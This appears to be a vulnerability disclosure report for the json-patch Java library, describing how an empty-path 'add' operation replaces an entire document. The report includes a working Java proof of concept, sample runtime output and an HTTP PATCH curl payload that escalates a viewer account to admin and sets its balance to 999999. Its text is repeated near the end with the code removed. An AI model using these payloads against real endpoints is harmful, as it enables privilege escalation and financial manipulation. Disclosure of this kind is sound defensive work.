Security Vulnerability Report
Metadata
| Field |
Value |
| Affected Version |
1.13 (latest on Maven Central) |
| Component |
AddOperation.apply() |
| File |
src/main/java/com/github/fge/jsonpatch/AddOperation.java:85-86 |
| CWE |
CWE-915 (Improperly Controlled Modification of Dynamically-Determined Object Attributes) |
| CVSS 3.1 |
7.3 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L) |
Summary
A JSON Patch add operation with an empty path ("") replaces the entire target document with the attacker-controlled value. The library provides no mechanism to restrict operations targeting the root path, no path validation API, and no documentation warning about this dangerous behavior. In applications using JSON Patch for partial updates (e.g., user profile PATCH endpoints), this enables privilege escalation by overwriting all fields including administrative flags.
Root Cause
// src/main/java/com/github/fge/jsonpatch/AddOperation.java:85-86
if (path.isEmpty()) {
return value; // Entire document replaced with attacker-controlled value!
}
When path is an empty JSON Pointer (""), AddOperation.apply() returns the operation's value directly — completely replacing the target document regardless of its original content.
Proof of Concept
Runtime verified on VM with OpenJDK 21:
--- Test 5: Mass Assignment via Empty-Path Add ---
Original: {"username":"user1","role":"viewer","balance":100}
After patch: {"username":"user1","role":"admin","balance":999999}
VULNERABLE: Empty-path add replaced entire document (role=admin, balance=999999)
Minimal reproduction:
import com.github.fge.jsonpatch.JsonPatch;
import com.fasterxml.jackson.databind.JsonNode;
import com.fasterxml.jackson.databind.ObjectMapper;
ObjectMapper mapper = new ObjectMapper();
// Original user document (server-side)
JsonNode original = mapper.readTree(
"{\"username\":\"user1\",\"role\":\"viewer\",\"balance\":100}");
// Attacker-supplied patch: empty path = replace entire document
JsonNode patchNode = mapper.readTree(
"[{\"op\":\"add\",\"path\":\"\",\"value\":{\"username\":\"user1\",\"role\":\"admin\",\"balance\":999999}}]");
JsonPatch patch = JsonPatch.fromJson(patchNode);
JsonNode result = patch.apply(original);
// result = {"username":"user1","role":"admin","balance":999999}
// Attacker escalated role from "viewer" to "admin" and set balance to 999999
Attack scenario (HTTP PATCH endpoint):
# User "user1" with role=viewer sends:
curl -X PATCH 'https://target.com/api/users/me' \
-H "Authorization: Bearer user1_token" \
-H "Content-Type: application/json-patch+json" \
-d '[{"op":"add","path":"","value":{"username":"user1","role":"admin","balance":999999}}]'
# Server applies patch without path validation
# Result: user1 is now admin with 999999 balance
RFC 6902 Compliance Note
This behavior is technically compliant with RFC 6902 — an empty JSON Pointer ("") references the entire document per RFC 6901. However:
- The library provides no mechanism to restrict operations on the root path
- The library provides no path validation API for consumers
- The library does not document this dangerous behavior
- Peer libraries (e.g., zjsonpatch) provide path restriction options
Most developers using JSON Patch for partial-update APIs do not expect that add can replace the entire document. This is a dangerous default without guardrails.
Impact
- Privilege escalation: Attacker overwrites
role, permissions, is_admin fields
- Financial manipulation: Attacker sets
balance, quota, credits to arbitrary values
- Data integrity violation: Attacker removes audit fields, timestamps, or foreign keys
- Affects all PATCH endpoints that apply user-supplied JSON Patch without path allowlisting
Suggested Remediation
- Add a builder option to reject root-path operations:
JsonPatch.builder()
.rejectRootPath(true) // Reject operations with path=""
.build(patchNode);
- Add a path allowlist/denylist API:
JsonPatch.builder()
.allowedPaths("/name", "/email", "/bio") // Only these paths can be modified
.build(patchNode);
- Document the risk in Javadoc and README:
WARNING: An "add" operation with an empty path ("") replaces the entire document.
Applications accepting user-supplied patches MUST validate paths before applying.
References
Security Vulnerability Report
Metadata
AddOperation.apply()src/main/java/com/github/fge/jsonpatch/AddOperation.java:85-86Summary
A JSON Patch
addoperation with an empty path ("") replaces the entire target document with the attacker-controlled value. The library provides no mechanism to restrict operations targeting the root path, no path validation API, and no documentation warning about this dangerous behavior. In applications using JSON Patch for partial updates (e.g., user profile PATCH endpoints), this enables privilege escalation by overwriting all fields including administrative flags.Root Cause
When
pathis an empty JSON Pointer (""),AddOperation.apply()returns the operation'svaluedirectly — completely replacing the target document regardless of its original content.Proof of Concept
Runtime verified on VM with OpenJDK 21:
Minimal reproduction:
Attack scenario (HTTP PATCH endpoint):
RFC 6902 Compliance Note
This behavior is technically compliant with RFC 6902 — an empty JSON Pointer (
"") references the entire document per RFC 6901. However:Most developers using JSON Patch for partial-update APIs do not expect that
addcan replace the entire document. This is a dangerous default without guardrails.Impact
role,permissions,is_adminfieldsbalance,quota,creditsto arbitrary valuesSuggested Remediation
References